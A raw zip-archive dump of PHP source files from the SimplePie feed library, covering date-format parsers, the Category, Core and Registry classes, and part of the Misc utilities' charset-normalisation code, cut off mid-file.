* @access protected * @return int Timestamp */ public function date_rfc2822($date) { static $pcre; if (!$pcre) { $wsp = '[\x09\x20]'; $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)'; $optional_fws = $fws . '?'; $day_name = $this->day_pcre; $month = $this->month_pcre; $day = '([0-9]{1,2})'; $hour = $minute = $second = '([0-9]{2})'; $year = '([0-9]{2,4})'; $num_zone = '([+\-])([0-9]{2})([0-9]{2})'; $character_zone = '([A-Z]{1,5})'; $zone = '(?:' . $num_zone . '|' . $character_zone . ')'; $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i'; } if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) { /* Capturing subpatterns: 1: Day name 2: Day 3: Month 4: Year 5: Hour 6: Minute 7: Second 8: Timezone ± 9: Timezone hours 10: Timezone minutes 11: Alphabetic timezone */ // Find the month number $month = $this->month[strtolower($match[3])]; // Numeric timezone if ($match[8] !== '') { $timezone = $match[9] * 3600; $timezone += $match[10] * 60; if ($match[8] === '-') { $timezone = 0 - $timezone; } } // Character timezone elseif (isset($this->timezone[strtoupper($match[11])])) { $timezone = $this->timezone[strtoupper($match[11])]; } // Assume everything else to be -0000 else { $timezone = 0; } // Deal with 2/3 digit years if ($match[4] < 50) { $match[4] += 2000; } elseif ($match[4] < 1000) { $match[4] += 1900; } // Second is optional, if it is empty set it to zero if ($match[7] !== '') { $second = $match[7]; } else { $second = 0; } return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone; } else { return false; } } /** * Parse RFC850's date format * * @access protected * @return int Timestamp */ public function date_rfc850($date) { static $pcre; if (!$pcre) { $space = '[\x09\x20]+'; $day_name = $this->day_pcre; $month = $this->month_pcre; $day = '([0-9]{1,2})'; $year = $hour = $minute = $second = '([0-9]{2})'; $zone = '([A-Z]{1,5})'; $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Day name 2: Day 3: Month 4: Year 5: Hour 6: Minute 7: Second 8: Timezone */ // Month $month = $this->month[strtolower($match[3])]; // Character timezone if (isset($this->timezone[strtoupper($match[8])])) { $timezone = $this->timezone[strtoupper($match[8])]; } // Assume everything else to be -0000 else { $timezone = 0; } // Deal with 2 digit year if ($match[4] < 50) { $match[4] += 2000; } else { $match[4] += 1900; } return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone; } else { return false; } } /** * Parse C99's asctime()'s date format * * @access protected * @return int Timestamp */ public function date_asctime($date) { static $pcre; if (!$pcre) { $space = '[\x09\x20]+'; $wday_name = $this->day_pcre; $mon_name = $this->month_pcre; $day = '([0-9]{1,2})'; $hour = $sec = $min = '([0-9]{2})'; $year = '([0-9]{4})'; $terminator = '\x0A?\x00?'; $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i'; } if (preg_match($pcre, $date, $match)) { /* Capturing subpatterns: 1: Day name 2: Month 3: Day 4: Hour 5: Minute 6: Second 7: Year */ $month = $this->month[strtolower($match[2])]; return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]); } else { return false; } } /** * Parse dates using strtotime() * * @access protected * @return int Timestamp */ public function date_strtotime($date) { $strtotime = strtotime($date); if ($strtotime === -1 || $strtotime === false) { return false; } else { return $strtotime; } } } PKÜ�\Ѐii9vendor/simplepie/simplepie/library/SimplePie/Category.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Manages all category-related data * * Used by {@see SimplePie_Item::get_category()} and {@see SimplePie_Item::get_categories()} * * This class can be overloaded with {@see SimplePie::set_category_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Category { /** * Category identifier * * @var string * @see get_term */ var $term; /** * Categorization scheme identifier * * @var string * @see get_scheme() */ var $scheme; /** * Human readable label * * @var string * @see get_label() */ var $label; /** * Constructor, used to input the data * * @param string $term * @param string $scheme * @param string $label */ public function __construct($term = null, $scheme = null, $label = null) { $this->term = $term; $this->scheme = $scheme; $this->label = $label; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the category identifier * * @return string|null */ public function get_term() { if ($this->term !== null) { return $this->term; } else { return null; } } /** * Get the categorization scheme identifier * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } else { return null; } } /** * Get the human readable label * * @return string|null */ public function get_label() { if ($this->label !== null) { return $this->label; } else { return $this->get_term(); } } } PKÜ�\5�"���5vendor/simplepie/simplepie/library/SimplePie/Core.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2009, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * SimplePie class. * * Class for backward compatibility. * * @deprecated Use {@see SimplePie} directly * @package SimplePie * @subpackage API */ class SimplePie_Core extends SimplePie { }PKÜ�\3�[oUU9vendor/simplepie/simplepie/library/SimplePie/Registry.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles creating objects and calling methods * * Access this via {@see SimplePie::get_registry()} * * @package SimplePie */ class SimplePie_Registry { /** * Default class mapping * * Overriding classes *must* subclass these. * * @var array */ protected $default = array( 'Cache' => 'SimplePie_Cache', 'Locator' => 'SimplePie_Locator', 'Parser' => 'SimplePie_Parser', 'File' => 'SimplePie_File', 'Sanitize' => 'SimplePie_Sanitize', 'Item' => 'SimplePie_Item', 'Author' => 'SimplePie_Author', 'Category' => 'SimplePie_Category', 'Enclosure' => 'SimplePie_Enclosure', 'Caption' => 'SimplePie_Caption', 'Copyright' => 'SimplePie_Copyright', 'Credit' => 'SimplePie_Credit', 'Rating' => 'SimplePie_Rating', 'Restriction' => 'SimplePie_Restriction', 'Content_Type_Sniffer' => 'SimplePie_Content_Type_Sniffer', 'Source' => 'SimplePie_Source', 'Misc' => 'SimplePie_Misc', 'XML_Declaration_Parser' => 'SimplePie_XML_Declaration_Parser', 'Parse_Date' => 'SimplePie_Parse_Date', ); /** * Class mapping * * @see register() * @var array */ protected $classes = array(); /** * Legacy classes * * @see register() * @var array */ protected $legacy = array(); /** * Constructor * * No-op */ public function __construct() { } /** * Register a class * * @param string $type See {@see $default} for names * @param string $class Class name, must subclass the corresponding default * @param bool $legacy Whether to enable legacy support for this class * @return bool Successfulness */ public function register($type, $class, $legacy = false) { if (!is_subclass_of($class, $this->default[$type])) { return false; } $this->classes[$type] = $class; if ($legacy) { $this->legacy[] = $class; } return true; } /** * Get the class registered for a type * * Where possible, use {@see create()} or {@see call()} instead * * @param string $type * @return string|null */ public function get_class($type) { if (!empty($this->classes[$type])) { return $this->classes[$type]; } if (!empty($this->default[$type])) { return $this->default[$type]; } return null; } /** * Create a new instance of a given type * * @param string $type * @param array $parameters Parameters to pass to the constructor * @return object Instance of class */ public function &create($type, $parameters = array()) { $class = $this->get_class($type); if (in_array($class, $this->legacy)) { switch ($type) { case 'locator': // Legacy: file, timeout, useragent, file_class, max_checked_feeds, content_type_sniffer_class // Specified: file, timeout, useragent, max_checked_feeds $replacement = array($this->get_class('file'), $parameters[3], $this->get_class('content_type_sniffer')); array_splice($parameters, 3, 1, $replacement); break; } } if (!method_exists($class, '__construct')) { $instance = new $class; } else { $reflector = new ReflectionClass($class); $instance = $reflector->newInstanceArgs($parameters); } if (method_exists($instance, 'set_registry')) { $instance->set_registry($this); } return $instance; } /** * Call a static method for a type * * @param string $type * @param string $method * @param array $parameters * @return mixed */ public function &call($type, $method, $parameters = array()) { $class = $this->get_class($type); if (in_array($class, $this->legacy)) { switch ($type) { case 'Cache': // For backwards compatibility with old non-static // Cache::create() methods if ($method === 'get_handler') { $result = @call_user_func_array(array($class, 'create'), $parameters); return $result; } break; } } $result = call_user_func_array(array($class, $method), $parameters); return $result; } }PKÜ�\��U�U�5vendor/simplepie/simplepie/library/SimplePie/Misc.phpnu�[���<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue * @author Ryan Parman * @author Geoffrey Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Miscellanous utilities * * @package SimplePie */ class SimplePie_Misc { public static function time_hms($seconds) { $time = ''; $hours = floor($seconds / 3600); $remainder = $seconds % 3600; if ($hours > 0) { $time .= $hours.':'; } $minutes = floor($remainder / 60); $seconds = $remainder % 60; if ($minutes < 10 && $hours > 0) { $minutes = '0' . $minutes; } if ($seconds < 10) { $seconds = '0' . $seconds; } $time .= $minutes.':'; $time .= $seconds; return $time; } public static function absolutize_url($relative, $base) { $iri = SimplePie_IRI::absolutize(new SimplePie_IRI($base), $relative); if ($iri === false) { return false; } return $iri->get_uri(); } /** * Get a HTML/XML element from a HTML string * * @deprecated Use DOMDocument instead (parsing HTML with regex is bad!) * @param string $realname Element name (including namespace prefix if applicable) * @param string $string HTML document * @return array */ public static function get_element($realname, $string) { $return = array(); $name = preg_quote($realname, '/'); if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) { $return[$i]['tag'] = $realname; $return[$i]['full'] = $matches[$i][0][0]; $return[$i]['offset'] = $matches[$i][0][1]; if (strlen($matches[$i][3][0]) <= 2) { $return[$i]['self_closing'] = true; } else { $return[$i]['self_closing'] = false; $return[$i]['content'] = $matches[$i][4][0]; } $return[$i]['attribs'] = array(); if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) { for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++) { if (count($attribs[$j]) === 2) { $attribs[$j][2] = $attribs[$j][1]; } $return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j]), 'UTF-8'); } } } } return $return; } public static function element_implode($element) { $full = "<$element[tag]"; foreach ($element['attribs'] as $key => $value) { $key = strtolower($key); $full .= " $key=\"" . htmlspecialchars($value['data']) . '"'; } if ($element['self_closing']) { $full .= ' />'; } else { $full .= ">$element[content]</$element[tag]>"; } return $full; } public static function error($message, $level, $file, $line) { if ((ini_get('error_reporting') & $level) > 0) { switch ($level) { case E_USER_ERROR: $note = 'PHP Error'; break; case E_USER_WARNING: $note = 'PHP Warning'; break; case E_USER_NOTICE: $note = 'PHP Notice'; break; default: $note = 'Unknown Error'; break; } $log_error = true; if (!function_exists('error_log')) { $log_error = false; } $log_file = @ini_get('error_log'); if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file)) { $log_error = false; } if ($log_error) { @error_log("$note: $message in $file on line $line", 0); } } return $message; } public static function fix_protocol($url, $http = 1) { $url = SimplePie_Misc::normalize_url($url); $parsed = SimplePie_Misc::parse_url($url); if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') { return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http); } if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) { return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http); } if ($http === 2 && $parsed['scheme'] !== '') { return "feed:$url"; } elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') { return substr_replace($url, 'podcast', 0, 4); } elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') { return substr_replace($url, 'itpc', 0, 4); } else { return $url; } } public static function parse_url($url) { $iri = new SimplePie_IRI($url); return array( 'scheme' => (string) $iri->scheme, 'authority' => (string) $iri->authority, 'path' => (string) $iri->path, 'query' => (string) $iri->query, 'fragment' => (string) $iri->fragment ); } public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '') { $iri = new SimplePie_IRI(''); $iri->scheme = $scheme; $iri->authority = $authority; $iri->path = $path; $iri->query = $query; $iri->fragment = $fragment; return $iri->get_uri(); } public static function normalize_url($url) { $iri = new SimplePie_IRI($url); return $iri->get_uri(); } public static function percent_encoding_normalization($match) { $integer = hexdec($match[1]); if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) { return chr($integer); } else { return strtoupper($match[0]); } } /** * Converts a Windows-1252 encoded string to a UTF-8 encoded string * * @static * @param string $string Windows-1252 encoded string * @return string UTF-8 encoded string */ public static function windows_1252_to_utf8($string) { static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"); return strtr($string, $convert_table); } /** * Change a string from one encoding to another * * @param string $data Raw data in $input encoding * @param string $input Encoding of $data * @param string $output Encoding you want * @return string|boolean False if we can't convert it */ public static function change_encoding($data, $input, $output) { $input = SimplePie_Misc::encoding($input); $output = SimplePie_Misc::encoding($output); // We fail to fail on non US-ASCII bytes if ($input === 'US-ASCII') { static $non_ascii_octects = ''; if (!$non_ascii_octects) { for ($i = 0x80; $i <= 0xFF; $i++) { $non_ascii_octects .= chr($i); } } $data = substr($data, 0, strcspn($data, $non_ascii_octects)); } // This is first, as behaviour of this is completely predictable if ($input === 'windows-1252' && $output === 'UTF-8') { return SimplePie_Misc::windows_1252_to_utf8($data); } // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported). elseif (function_exists('mb_convert_encoding') && ($return = SimplePie_Misc::change_encoding_mbstring($data, $input, $output))) { return $return; } // This is last, as behaviour of this varies with OS userland and PHP version elseif (function_exists('iconv') && ($return = SimplePie_Misc::change_encoding_iconv($data, $input, $output))) { return $return; } // If we can't do anything, just fail else { return false; } } protected static function change_encoding_mbstring($data, $input, $output) { if ($input === 'windows-949') { $input = 'EUC-KR'; } if ($output === 'windows-949') { $output = 'EUC-KR'; } if ($input === 'Windows-31J') { $input = 'SJIS'; } if ($output === 'Windows-31J') { $output = 'SJIS'; } // Check that the encoding is supported if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") { return false; } if (!in_array($input, mb_list_encodings())) { return false; } // Let's do some conversion if ($return = @mb_convert_encoding($data, $output, $input)) { return $return; } return false; } protected static function change_encoding_iconv($data, $input, $output) { return @iconv($input, $output, $data); } /** * Normalize an encoding name * * This is automatically generated by create.php * * To generate it, run `php create.php` on the command line, and copy the * output to replace this function. * * @param string $charset Character set to standardise * @return string Standardised name */ public static function encoding($charset) { // Normalization from UTS #22 switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) { case 'adobestandardencoding': case 'csadobestandardencoding': return 'Adobe-Standard-Encoding'; case 'adobesymbolencoding': case 'cshppsmath': return 'Adobe-Symbol-Encoding'; case 'ami1251': case 'amiga1251': return 'Amiga-1251'; case 'ansix31101983': case 'csat5001983': case 'csiso99naplps': case 'isoir99': case 'naplps': return 'ANSI_X3.110-1983'; case 'arabic7': case 'asmo449': case 'csiso89asmo449': case 'iso9036': case 'isoir89': return 'ASMO_449'; case 'big5': case 'csbig5': return 'Big5'; case 'big5hkscs': return 'Big5-HKSCS'; case 'bocu1': case 'csbocu1': return 'BOCU-1'; case 'brf': case 'csbrf': return 'BRF'; case 'bs4730': case 'csiso4unitedkingdom': case 'gb': case 'iso646gb': case 'isoir4': case 'uk': return 'BS_4730'; case 'bsviewdata': case 'csiso47bsviewdata': case 'isoir47': return 'BS_viewdata'; case 'cesu8': case 'cscesu8': return 'CESU-8'; case 'ca': case 'csa71': case 'csaz243419851': case 'csiso121canadian1': case 'iso646ca': case 'isoir121': return 'CSA_Z243.4-1985-1'; case 'csa72': case 'csaz243419852': case 'csiso122canadian2': case 'iso646ca2': case 'isoir122': return 'CSA_Z243.4-1985-2'; case 'csaz24341985gr': case 'csiso123csaz24341985gr': case 'isoir123': return 'CSA_Z243.4-1985-gr'; case 'csiso139csn369103': case 'csn369103': case 'isoir139': return 'CSN_369103'; case 'csdecmcs': case 'dec': case 'decmcs': return 'DEC-MCS'; case 'csiso21german': case 'de': case 'din66003': case 'iso646de': case 'isoir21': return 'DIN_66003'; case 'csdkus': case 'dkus': return 'dk-us'; case 'csiso646danish': case 'dk': case 'ds2089': case 'iso646dk': return 'DS_2089'; case 'csibmebcdicatde': case 'ebcdicatde': return 'EBCDIC-AT-DE'; case 'csebcdicatdea': case 'ebcdicatdea': return 'EBCDIC-AT-DE-A'; case 'csebcdiccafr': case 'ebcdiccafr': return 'EBCDIC-CA-FR'; case 'csebcdicdkno': case 'ebcdicdkno': return 'EBCDIC-DK-NO'; case 'csebcdicdknoa': case 'ebcdicdknoa': return 'EBCDIC-DK-NO-A'; case 'csebcdices': case 'ebcdices': return 'EBCDIC-ES'; case 'csebcdicesa': case 'ebcdicesa': return 'EBCDIC-ES-A'; case 'csebcdicess': case 'ebcdicess': return 'EBCDIC-ES-S'; case 'csebcdicfise': case 'ebcdicfise': return 'EBCDIC-FI-SE'; case 'csebcdicfisea': case 'ebcdicfisea': return 'EBCDIC-FI-SE-A'; case 'csebcdicfr': case 'ebcdicfr': return 'EBCDIC-FR'; case 'csebcdicit': case 'ebcdicit': return 'EBCDIC-IT'; case 'csebcdicpt': case 'ebcdicpt': return 